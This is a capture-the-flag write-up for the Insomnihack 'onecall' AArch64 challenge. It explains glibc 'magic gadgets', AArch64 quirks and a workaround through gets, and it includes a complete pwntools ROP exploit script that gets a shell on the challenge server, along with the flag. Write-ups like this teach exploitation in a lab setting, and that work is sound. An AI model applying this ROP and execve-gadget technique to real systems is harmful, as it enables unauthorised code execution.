onecall
Damnit, I tried that gem and it didn’t work… Can you get a shell for me ? Difficulty: Easy-ish
The challlenge comes in an archive containing the target Aarch64 ELF binary, the necessary libc
and ld binaries to link with, a copy of qemu-aarch64
to run locally, and a script
to demonstrate how it’s ran.
You can get my copy of the archive from here.
If you follow along with the same familiarity I had, I suggest using the -g flag in
qemu-aarch64
to allow you to attach gdb-multiarch
for debugging.
What Are Magic Gadgets?
The premise of the challenges’ title is that with a single function call, you’re supposed to be
able to get a shell. The gem
mentioned is likely
one_gadget, a tool written in Ruby to cough
up a “magic gadget” for a given libc. These magic gadgets are a huge help if you can control
the program counter after leaking the position of libc, because without any other
setup you essentially land on one and immediately have a shell. Neat, isn’t it?
The tool and all others I’ve seen like it had been written with x86/x64 in mind however, which sadly doesn’t translate into the same effectiveness in the ARM/Aarch64 architectures, where registers are loaded with arguments differently. So that means to do this challenge, you’d have to find your own magic gadget manually. Thankfully, the basic idea covered here is largely the same still, since it’s still glibc you’re abusing.
Some Notes On Aarch64
This challenge served as a reason for me to actually read some of the ARMv8 manual, just so I could understand a portion of what I was reading in the disassembly. I also took the time to read some articles and watch a video mentioning some of the changes made between the good ol’ 32-bit ARM I was used to and the newer Aarch64. In all, a lot of changes were made to the architecture. I had come to miss plenty of features in the older architecture, like instructions that’d operate on an arbitrary number of registers, straightforward PUSH/POP instructions that’d do the same, writing directly into the program counter, and 16-bit Thumb-mode.
Instead of functions ending with a POP instruction that moves several pieces of data off of the stack and into the registers, you’ll likely only ever see registers loaded in pairs on the newer ARM. Storing registers in pairs isn’t uncommon either, and neither is separating the loading of variables’ higher order base addresses and their lower order offsets (though I suspect there might be a specific architectural reason for this).
Also without a Thumb mode, you can’t double your possibilities for instructions and ROP gadgets for free by branching into an alternate instruction set. ALL instructions are aligned 32-bit, and a fault gets raised anytime the program counter isn’t following said alignment.
But although the challenge is made somewhat harder, it’s still plenty possible.
Initial Analysis
I used Radare2 for all of my disassembly during the CTF.
r2 -A onecall
VV
s main
The target binary itself is fairly simple. First, it reads out its own /proc/self/maps
file, showing all of the binaries mapped into its process, as well as their addresses.
Most of the file is then written to standard output where we can read it,
before we give 8 bytes to read()
for the program counter to branch to through the x1
register.
With most of the mappings available, and immediate control of the program counter, we can then look for the magic gadget for the given libc, and try to get our shell.
Finding the Magic Gadget
The last magic gadget I had used in glibc game from a specific part of system
.
The lines of source that read…
#define SHELL_PATH "/bin/sh" /* Path of the shell. */
...
(void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); //<-- Look in do_system()
By returning right into where the argument setup and call occurs for this line of code, we ought
to manage getting our shell. To find it, you can first find "/bin/sh"
, and then find
where it’s referenced in __libc_system
.
r2 -A lib/libc.so.6 #This can take a second.
/ /bin/sh
#Observe the base offset of 0x117000
#And then you can look through all of the calls to execve in __libc_system. I got one.
axt sym.execve ~__libc_system
You probably won’t get a direct hit in searching for xrefs to the string (perhaps because of how the architecture has to do its referencing now) but the match still isn’t too hard to find by glancing between the source and the disassembly.
Notice though the store operation that happens right before loading x2
in our
lovely gadget. During actual execution,
this x20
register gets set somewhere I wasn’t able to track down,
but it needs to be set somewhere
safe before the execution can continue.
Workaround
It took me a long time to figure the right workaround was to return into gets
while the
x0
register still points to the stack. Then you can write onto the stack all of the
necessary data pointers and return addresses necessary to do Return Oriented Programming.
I used ROPgadget
to come across the gadget I used to move x20
in my exploit, and found that
although the stack wasn’t leaked directly by the /proc/self/maps
read, the very last line of
output does have a consistent offset from the stack you get to see in GDB. This I felt was much
better than pointing into libc’s data section, or any other writable mapping I took notice of.
The Exploit
I shifted x20
to a safe stack address used in the original program, and jumped into the
magic gadget so that I could enjoy the shell. The slightly cleaned up exploit follows.
#!/usr/bin/python
from pwn import *
DEBUG = False
def getpipe():
if DEBUG: #Attach debugger.
return process(['./qemu-aarch64', '-nx', '-L', './', '-g', '12345', './onecall'])
else:
return remote('onecall.teaser.insomnihack.ch',1337)
libc_name = "./lib/libc.so.6"
libc = ELF(libc_name)
gets = libc.symbols['gets']
magic_gadget_offset = 0x3d718
p = getpipe()
output = ""
line = p.recvline()
output += line
while "libc" not in line:
line = p.recvline()
output += line
output += line
output += p.recvuntil(" here ?")
libc_base = int(line.split('-')[0], 16)
#Initialize ROP
p.send(p64(libc_base + gets))
#For GDB
print "Gets returns @", hex(libc_base+0x000604c8)
binsh = libc_base + 0x1179a0
#0x0003d7f0 f353c3a8 ldp x19, x20, [sp], 0x30; ret
#What does this do? I took a guess, and tried it.
loadtox20 = libc_base + 0x3d7f0
#For GDB
print "Loading gadget @", hex(loadtox20)
#last region in /proc/self/maps
#00007f38241b9000
#$sp after blr x1 in same run
#00007f38249b8630
memaddr = int(output.split('\n')[-3].split('-')[0], 16) #Consistent offset of 0x7ff630? Yep.
stkbase = memaddr + 0x7ff630 #Here should be a pointer to the filler in our stack.
saferw = stkbase
#Build rop chain. Don't need precision when you can just spray.
ropchain = flat([
loadtox20-4, #Trying to move x20 to point to stack, load [sp, #16] into x30 for ret
libc_base + magic_gadget_offset,
saferw, #For pivoting x20 somewhere safe, throw it up real high
libc_base+magic_gadget_offset,
saferw, saferw, saferw,
saferw,saferw, saferw, saferw, saferw,saferw, saferw, saferw, saferw
], word_size=64)
payload = "AAAAAAAA"*2 #Filler
payload += ropchain
p.sendline(payload)
p.interactive()
#INS{did_you_gets_here_by_chance?}